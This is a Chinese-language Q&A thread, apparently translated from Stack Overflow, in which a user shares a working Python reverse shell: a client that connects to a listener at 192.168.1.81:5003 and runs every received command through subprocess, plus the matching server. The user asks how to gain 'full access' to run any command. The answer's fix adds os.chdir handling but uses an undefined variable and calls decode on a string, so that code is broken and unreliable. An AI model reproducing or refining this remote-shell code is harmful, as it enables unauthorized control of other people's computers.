尝试更改目录时，使用 Python 命令进行反向 Shell 命令会卡住

Question

我正在尝试使用 python 的反向 shell 获得具有完全权限的完全访问权限。

连接建立后，我可以执行“ipconfig”或“dir”等命令（尽管有时我需要询问两次才能获得“dir”命令的结果。

但是，当我尝试使用“cd..”命令更改目录时，它被卡住并且不返回任何内容。

这是我的客户文件：

import socket

import subprocess

SERVER_HOST = "192.168.1.81"

SERVER_PORT = 5003

s = socket.socket()

s.connect((SERVER_HOST, SERVER_PORT))

while True:

    command = s.recv(1024).decode() 

    if command.lower() == "exit":

        break

    else:

        output = subprocess.getoutput(command)

        s.send(output.encode())

s.close()

这是我的服务器文件：

import socket

SERVER_HOST = "192.168.1.81"

SERVER_PORT = 5003

s = socket.socket()

s.bind((SERVER_HOST, SERVER_PORT))

s.listen(5)

print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

client_socket, client_address = s.accept()

print(f"{client_address[0]}:{client_address[1]} Connected!")

while True:

    command = input("Enter the command you wanna execute:")

    client_socket.send(command.encode())

    if command.lower() == "exit":

        break

    else:

        results = client_socket.recv(1024).decode()

        print(results)

client_socket.close()

s.close()

这是我得到的以及卡住的地方：

Listening as 192.168.1.81:5003 ...

192.168.1.81:52553 Connected!

 Enter the command you wanna execute:dir

 Volume in drive C is Windows

 Volume Serial Number is 7E4C-AD89

 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke

10/11/2020  08:45 AM    <DIR>          .

10/11/2020  08:45 AM    <DIR>          ..

10/11/2020  08:44 AM    <DIR>          .idea

10/11/2020  12:40 AM                 0 Client.py

10/11/2020  08:45 AM               569 my_client.py

10/11/2020  12:40 AM               885 my_server.py

               3 File(s)          1,454 bytes

               3 Dir(s)  46,585,339,904 bytes free

Enter the command you wanna execute:cd..

# It gets stuck here, it does not return anything.

如何获得对客户端的完全访问权限并执行任何可能的命令？

Answer 1

通过在客户端文件中使用“os”库和“os.chdir”方法来解决，如下所示：import socketimport subprocessimport os # Import this librarySERVER_HOST = "192.168.1.81"SERVER_PORT = 5003s = socket.socket()s.connect((SERVER_HOST, SERVER_PORT))while True:&nbsp; &nbsp; command = s.recv(1024).decode()&nbsp;&nbsp; &nbsp; if data[:2].decode('utf-8') == 'cd':&nbsp; &nbsp; &nbsp; &nbsp; os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"&nbsp; &nbsp; if command.lower() == "exit":&nbsp; &nbsp; &nbsp; &nbsp; break&nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; output = subprocess.getoutput(command)&nbsp; &nbsp; &nbsp; &nbsp; s.send(output.encode())s.close()